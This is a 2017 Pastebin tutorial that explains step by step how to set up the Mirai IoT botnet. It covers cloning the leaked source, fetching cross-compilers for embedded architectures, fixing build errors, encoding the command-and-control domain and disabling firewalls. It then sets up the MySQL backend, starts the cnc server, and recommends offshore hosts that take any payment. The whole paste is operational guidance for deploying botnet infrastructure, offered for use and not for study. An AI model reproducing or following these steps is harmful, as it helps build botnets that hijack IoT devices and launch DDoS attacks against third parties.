Advertisement
ladyva

[Tutorial] How to setup Mirai

May 29th, 2017
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.54 KB | None | 0 0
  1. ███╗ ███╗██╗██████╗ █████╗ ██╗ ██████╗ ██████╗ ████████╗███╗ ██╗███████╗████████╗
  2. ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██╔═══██╗╚══██╔══╝████╗ ██║██╔════╝╚══██╔══╝
  3. ██╔████╔██║██║██████╔╝███████║██║ ██████╔╝██║ ██║ ██║ ██╔██╗ ██║█████╗ ██║
  4. ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██╗██║ ██║ ██║ ██║╚██╗██║██╔══╝ ██║
  5. ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██████╔╝╚██████╔╝ ██║ ██║ ╚████║███████╗ ██║
  6. ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝
  7.  
  8. ████████╗██╗ ██╗████████╗ ██████╗ ██████╗ ██╗ █████╗ ██╗
  9. ╚══██╔══╝██║ ██║╚══██╔══╝██╔═══██╗██╔══██╗██║██╔══██╗██║
  10. ██║ ██║ ██║ ██║ ██║ ██║██████╔╝██║███████║██║
  11. ██║ ██║ ██║ ██║ ██║ ██║██╔══██╗██║██╔══██║██║
  12. ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║██║██║ ██║███████╗
  13. ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝
  14.  
  15. By - Jihadi4Potus
  16. Boatnet.us
  17. Refrence: https://www.youtube.com/watch?v=G4vUp3ydjs0
  18.  
  19. * REQUIREMENTS *
  20. - 2x Debian 8 Offshore boxes - Providers. [x0]
  21. - Mirai Source - https://github.com/jgamblin/Mirai-Source-Code git clone https://github.com/jgamblin/Mirai-Source-Code
  22. - Good Instruction following skillz.
  23.  
  24. [x0] Hosting Providers.
  25. https://www.nforce.com/
  26. http://www.novogara.com/
  27. https://www.dataclub.biz/ (Accepts Everything but Paypal.)
  28.  
  29. ;This is a fully tutorial how to setup mirai from scratch. ENJOY :)
  30. ;This fixes golang errors when ./build debug telnet , is executed.
  31.  
  32. [x01] Install the following on a Debian box. ex. Debian 7 x86_64-
  33. apt-get update -y
  34. apt-get upgrade -y
  35. apt-get install gcc golang electric-fence sudo git libc6-dev -y
  36. apt-get install mysql-server mysql-client -y
  37.  
  38. [x02] Installing and compiling the cross-compilers-
  39. ;If you run build.sh in /mirai folder you will get an error for armv6l, In the main tutorial this wasn't included so I added it to make life easier.
  40.  
  41. mkdir /etc/xcompile
  42. cd /etc/xcompile
  43.  
  44. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  45. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  46. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  47. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  48. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  49. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  50. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  51. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  52. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  53.  
  54. tar -jxf cross-compiler-armv4l.tar.bz2
  55. tar -jxf cross-compiler-i586.tar.bz2
  56. tar -jxf cross-compiler-m68k.tar.bz2
  57. tar -jxf cross-compiler-mips.tar.bz2
  58. tar -jxf cross-compiler-mipsel.tar.bz2
  59. tar -jxf cross-compiler-powerpc.tar.bz2
  60. tar -jxf cross-compiler-sh4.tar.bz2
  61. tar -jxf cross-compiler-sparc.tar.bz2
  62. tar -jxf cross-compiler-armv6l.tar.bz2
  63.  
  64. rm *.tar.bz2
  65. mv cross-compiler-armv4l armv4l
  66. mv cross-compiler-i586 i586
  67. mv cross-compiler-m68k m68k
  68. mv cross-compiler-mips mips
  69. mv cross-compiler-mipsel mipsel
  70. mv cross-compiler-powerpc powerpc
  71. mv cross-compiler-sh4 sh4
  72. mv cross-compiler-sparc sparc
  73. mv cross-compiler-armv6l armv6l
  74.  
  75. [x03] Adding GoLang paths.
  76. ;Execute these in your ssh terminal, this will add to your ~/.bashrc
  77. export PATH=$PATH:/etc/xcompile/armv4l/bin
  78. export PATH=$PATH:/etc/xcompile/armv6l/bin
  79. export PATH=$PATH:/etc/xcompile/i586/bin
  80. export PATH=$PATH:/etc/xcompile/m68k/bin
  81. export PATH=$PATH:/etc/xcompile/mips/bin
  82. export PATH=$PATH:/etc/xcompile/mipsel/bin
  83. export PATH=$PATH:/etc/xcompile/powerpc/bin
  84. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  85. export PATH=$PATH:/etc/xcompile/sh4/bin
  86. export PATH=$PATH:/etc/xcompile/sparc/bin
  87. export PATH=$PATH:/etc/xcompile/armv6l/bin
  88.  
  89. export PATH=$PATH:/usr/local/go/bin
  90. export GOPATH=$HOME/Documents/go
  91.  
  92. [x04] Fixing errors.
  93. ./build.sh debug telnet
  94. ;Once you execute this in the main mirai directory ./Mirai-Source-Code/mirai, If you did this command before step 2 & 3 you would get an error about the Mysql and sql-drivers, since that's what alot of people have had trouble with. This fixes that.
  95. go get github.com/go-sql-driver/mysql
  96. go get github.com/mattn/go-shellwords
  97.  
  98.  
  99. [x05] Obfuscated string
  100. ;I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
  101. ./enc string changeme.com
  102. ;Now add this to your table.c file.
  103.  
  104.  
  105.  
  106. [x06] Database setup
  107. ;Now where going to setup the database permissions and users.
  108. ;If you have iptbales/ip6tables or any firewall install disable it.
  109.  
  110. service iptables stop
  111. /etc/ini.d/iptbales stop
  112.  
  113. ;Database setup
  114. /usr/bin/mysql_secure_installation
  115. ;It will ask you to set a password, make sure you remember this.
  116. ;Edit your main.go in /cnc/
  117. ex: 120.0.0.1:3306
  118. ;Once you've done the step above were going to add the database and user perms. follow this link.
  119. ;Create the database first
  120. create database mirai;
  121. ;Next select the database
  122. use mirai
  123. ;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.)
  124. http://pastebin.com/BsSWnK7i
  125. ;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5
  126. ;Now your server should be online
  127. Service mysql restart
  128. ;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it.
  129. ./cnc
  130. ;You should see - http://prntscr.com/dnsluv
  131. ;Now your going to have to move the prompt.txt file in mirai main directory into the release folder
  132. ;Now you can login through your ssh client with telnet.
  133.  
  134.  
  135. Congrats you setup mirai successfully!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement